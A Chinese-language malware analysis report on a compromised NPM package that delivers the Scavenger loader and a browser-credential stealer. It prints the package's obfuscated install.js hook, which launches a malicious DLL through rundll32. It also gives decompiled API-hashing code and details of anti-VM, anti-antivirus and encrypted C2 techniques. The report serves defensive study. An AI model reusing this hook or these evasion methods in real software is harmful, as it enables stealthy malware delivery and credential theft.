
摘要
本報告詳細分析了一起涉及被滲透的 Node Package Manager (NPM) 套件的複雜供應鏈攻擊。報告深入探討了攻擊向量、惡意軟體組件(Scavenger loader 和 infostealer)及其反分析技術。具體來說,報告詳細檢視了
install.js
感染機制、loader 的反虛擬機和反防毒檢查,以及其 function hash resolution routine,包括客制化的 CRC32 hashing algorithm。Scavenger infostealer 的功能,特別是其針對 Chromium-based browsers 的攻擊,也在報告中討論。本分析旨在突顯此類威脅的進階特性,並強調現代軟體開發中強化供應鏈安全措施的重要性。報告內容基於近期對真實事件的分析
[1]
。

1. 簡介
供應鏈攻擊已成為網路安全領域中的重大威脅,利用軟體供應商與其使用者之間的信任關係。本報告聚焦於近期一起涉及熱門 NPM 套件被滲透的的事件,導致多階段惡意軟體 payload 的散布。主要目標是剖析此次攻擊的技術細節,提供對感染向量、部署的惡意軟體功能以及攻擊者使用的複雜反分析技術的洞察。透過了解這些機制,開發者和安全專業人員能更好地強化防禦,抵禦未來類似的威脅。
2. 感染向量
此次供應鏈攻擊的初始感染利用了一個看似無害的 NPM 套件
eslint-config-prettier
。惡意攻擊透過嵌入在套件中的
install.js
檔案啟動。該檔案包含一個名為
logDiskSpace()
的函數,設計為在套件安裝時執行。其核心邏輯如下所示
[1]
:
- function logDiskSpace() {
- try {
- if (os.platform() === 'win32') {
- const tempDir = os.tmpdir();
- require('chi' + 'ld_pro' + 'cess')['sp' + 'awn'](
- "rund" + "ll32",
- [path.join(__dirname, './node-gyp' + '.dll'), 'main']
- );
- log('Temp directory: ' + tempDir);
- const files = cache.readdirSync(tempDir);
- log('Number of files in temp directory: ' + files.length);
- }
- } catch (err) {
- summary.errors++;
- log('Error accessing temp directory: ' + err.message);
- }
- }
從程式碼中可見,
logDiskSpace
函數會進行平台檢查,特別針對 Windows 環境(
os.platform() === 'win32'
)。若條件滿足,則會建立一個子程序。此子程序負責使用
rundll32.exe
執行一個惡意 DLL
node-gyp.dll
。使用字串拼接(
'chi' + 'ld_pro' + 'cess'
、
"rund" + "ll32"
)是惡意軟體作者常用的混淆技術,用以規避靜態分析和基於特徵碼的防毒軟體檢測。這種傳遞方式突顯了軟體供應鏈中的一個關鍵漏洞,即看似合法的開發工具可能在建置或安裝過程中被武器化,用以散布惡意軟體。
3. Scavenger Loader
node-gyp.dll
檔案由
rundll32.exe
執行,作為 Scavenger loader 運作。此 DLL 是一種 loader 惡意軟體變體,於惡意套件散布當日編譯,顯示出攻擊者的快速部署策略。其主要角色是執行核心 loader 功能,這些功能大多封裝在一個單一的大型函數中。這種設計選擇雖然增加了分析的複雜性,但也集中了惡意軟體的核心操作。
Scavenger loader 最引人注目的特點之一是其廣泛使用的反分析技術,旨在阻礙逆向工程並規避安全產品的檢測。這些技術包括:
3.1. 反虛擬機檢測
Loader 使用多種方法來檢測是否在虛擬化環境中運行。一個關鍵技術是呼叫
GetSystemFirmwareTable
,並將
FirmwareTableProviderSignature
設為 "RSMB"。這允許 loader 取得原始 SMBIOSTableData,進而列舉常見的虛擬機 BIOS 名稱,如
VMware
、
QEMU
和
qemu
。若發現這些標識,則表明是在虛擬化環境中,惡意軟體可能會改變行為或終止運行以避免分析。
3.2. 分析工具與防毒軟體檢測
為了進一步規避檢測,loader 會列舉其程序空間,特別尋找與分析工具和防毒軟體相關的 DLL。例如,目標 DLL 包括
snxhk.dll
(Avast 的 hook library)、
Sf2.dll
(Avast 相關)、
SxIn.dll
(奇虎 360)、
SbieDll.dll
(Sandboxie)和
cmdvrt32.dll
(Comodo Antivirus)。若檢測到這些 DLL,則表示存在安全產品或分析環境,觸發惡意軟體的規避行為。
3.3. 其他反分析檢查
除了虛擬機和防毒檢測,loader 還執行其他檢查以確定是否正在被分析。這些檢查包括:
-
處理器數量驗證
:透過
NtQuerySystemInformation
查詢BASIC_SYSTEM_INFORMATION
結構,檢查NumberOfProcessors
。若處理器數量低於某個閾值(例如 3),則可能表示沙箱環境,導致 crash。 -
主控台檢測
:Loader 嘗試使用
writeConsoleW
寫入 "0 bytes" 並檢查成功狀態。這可揭示是否在主控台中運行,這是惡意軟體分析的常見設置。 -
持久性檢查
:驗證
%TEMP%\SCVNGR_VM
目錄是否存在。若找到該目錄,則表明惡意軟體可能已存在於機器上,可能表示在分析環境中重新執行。
若任何反分析檢查成功,loader 會故意引發 null-pointer 異常,導致 crash。這種自我終止機制是阻礙自動化分析系統和人工逆向工程的常見策略。
4. Function Hash Resolution、Hook Identification 與 Indirect Syscalls
Scavenger loader 在解析函數位址、識別 hook 和使用間接系統呼叫以繞過安全機制方面展現了複雜的方法。這種複雜性大大增加了分析惡意軟體的挑戰。
4.1. Hashing Routine
Loader 不依賴傳統的導入表(import table),而是採用客制化的 CRC32 hashing routine 動態解析所需函數的位址。這種技術使靜態分析更困難,因為導入的函數不會立即顯示。該過程涉及讀取自身的 Process Environment Block (PEB),透過
InMemoryOrderModuleList
結構列舉當前載入的 DLL。以下組合語言程式碼片段展示了如何取得 PEB 指針並存取
InMemoryOrderModuleList
[1]
:
- mov rax, qword [gs:0x60] // 透過 gs 暫存器取得 PEB 指針
- mov qword [rel g_peb], rax
- mov rax, qword [rel g_peb]
- mov rax, qword [rax+0x18 { PEB::Ldr}]
- mov qword [rbp+0x3dd8 {var_10608_1}], rax
- mov rax, qword [rbp+0x3dd8 {var_10608_1}]
- add rax, 0x20 { PEB_LDR_DATA::InMemoryOrderModuleList} // 載入 InMemoryOrderModuleList 結構指針
- mov qword [rbp+0x3928 {var_113b8_1}], rax
- mov rax, qword [rbp+0x3928 {var_113b8_1}]
- mov rax, qword [rax
- { PEB_LDR_DATA::InMemoryOrderModuleList.Flink}] // 載入其雙向鏈結清單結果,可解釋為 LDR_DATA_TABLE_ENTRY
- mov qword [rbp+0x1b28 {Flink_16}], rax
一旦列舉了 DLL,loader 會讀取每個載入模組的完整 DLL 名稱(
_LDR_DATA_TABLE_ENTRY->FullDllName.Buffer
),將其轉換為 ASCII,然後使用客制化的 CRC 表計算其 CRC32 hash。若找到與預計算 hash 匹配的結果,則解析該函數的位址。以下 C 程式碼片段展示了函數 hash 解析邏輯
[1]
:
- while (true){
- if (funcHashedCount u >= curExportDir->NumberOfFunctions){
- mw_NtClose = null;
- break;
- }
- void* buf_1 = dllBase +
- zx.q(*(dllBase + zx.q(curExportDir->AddressOfNames + (funcHashedCount << 2))));
- int64_t var_128a0_1 = 0);
- while (zx.d(*(buf_1 + var_128a0_1)) != 0)
- var_128a0_1++;
- int32_t var_141b0_1 = 0;
- void* buf = buf_1;
- char crc = 0xffffffff;
- for (int32_t i_1 = 0; i_1 < var_128a0_1; i_1++){
- crc = g_crctable[zx.q(sx.d(*buf)) ^ zx.d(crc)] ^ crc u>> 8;
- buf++;
- }
- if ((zx.q(crc) ^ 0xffffffff) == NtClose){
- mv_NtClose = dllBase + zx.q(*(dllBase + zx.q(curExportDir->AddressOfFunctions) +
- (zx.q(*(dllBase + zx.q(curExportDir->AddressOfNameOrdinals) +
- (sx.q(funcHashedCount) << 1))) << 2)));
- break;
- }
- funcHashedCount++;
- }
客制化的 CRC32 hashing algorithm 可在 Python 中重現以生成相容的 hash 表,如原始分析所示 [1] 。這種動態解析機制允許惡意軟體在不顯式列出導入表(import table)的情況下呼叫系統函數,使安全工具難以透過靜態分析識別其功能。
4.2. Hook Identification
在解析函數位址後,loader 會檢查這些函數是否已被 hook。這透過檢查函數程式碼的初始位元組,尋找常見的 hooking 模式(如
jmp
指令,將執行重新導向到其他位置)來實現。若檢測到 hook,loader 可能會嘗試解除 hook 或直接 crash 以防止分析並暴露其完整功能。
4.3. 加密字串
為進一步阻礙靜態分析,loader 使用的所有字串均已加密。解密 routine 是一個簡單的基於 XOR 的演算法,金鑰 hardcoded 在 loader 中。這種技術確保敏感字串(如 API 呼叫、檔案路徑或 C2 伺服器位址)在惡意軟體的二進位檔案中不可直接見,迫使分析人員在執行時動態解密。
4.4. C2 通訊
Scavenger loader 透過 HTTP 建立 Command and Control (C2) 通訊。C2 伺服器位址和通訊埠也是加密字串,進一步混淆了惡意軟體的基礎結構。通訊協定是客制化的,涉及將加密資料傳輸到伺服器並接收加密指令作為回應。C2 通訊的加密機制是一個基於線性同餘產生器(Linear Congruential Generator, LCG)的客制化串流密碼。LCG 的金鑰和種子來自系統特定資訊,如磁碟機序號和機器 GUID。這種方法確保每個感染實例使用獨特的加密金鑰,使解密網路流量和追蹤惡意軟體在不同被滲透的系統上的活動更具挑戰性。
5. Scavenger Stealer
Scavenger Stealer 是此多階段惡意軟體的關鍵組件,由 Scavenger Loader 載入並執行。其主要功能是從被滲透的系統中收集敏感資訊並將其傳送到 C2 伺服器。此 infostealer 設計為模組化,雖在不同樣本中觀察到細微差異,但其核心功能保持一致 [1] 。
5.1. 目標資訊
Stealer 特別針對基於 Chromium 的瀏覽器,包括 Google Chrome 和 Microsoft Edge 等熱門瀏覽器。其重點在於提取一系列敏感資料,如:
- 認證 :儲存的使用者名稱和密碼,可用於帳戶接管。
- Cookies :Session tokens,允許在無需密碼的情況下存取使用者帳戶,在某些情況下可繞過多因素驗證。
- 其他敏感資料 :可能包括瀏覽歷史記錄、自動填寫資料以及瀏覽器設定檔中儲存的其他個人資訊。
5.2. 資料外洩機制
一旦收集到敏感資料,Scavenger Stealer 會利用已建立的 C2 通訊通道將資訊外洩。如第 4.4 節所述,此通訊使用客制化串流密碼加密,難以攔截和分析傳輸中的被盜資料。外洩過程設計為隱秘,最大程度減少在被滲透的系統上的足跡。
6. 結論
此次分析突顯了供應鏈攻擊的日益複雜性,以透過被滲透的 NPM 套件傳遞 Scavenger loader 和 infostealer 為例。惡意軟體的多階段特性,結合其進階反分析技術——包括反虛擬機檢測、分析工具規避、透過客制化 hashing 進行動態函數解析以及加密通訊——為檢測和修復帶來重大挑戰。針對 Chromium-based browsers 的敏感資料外洩進一步突顯了對終端使用者和組織的直接影響。
為減輕此類威脅,必須採用多層次的安全方法。這包括嚴格審查第三方套件、實施穩健的軟體供應鏈安全實踐、持續監控可疑活動,以及採用能夠識別和中和複雜惡意軟體的進階端點檢測和回應(EDR)解決方案。此外,培養開發者和使用者的安全意識文化對於防止初始感染向量(如釣魚攻擊)至關重要。持續研究和分享威脅情報對於在不斷變化的網路安全環境中保持領先至關重要。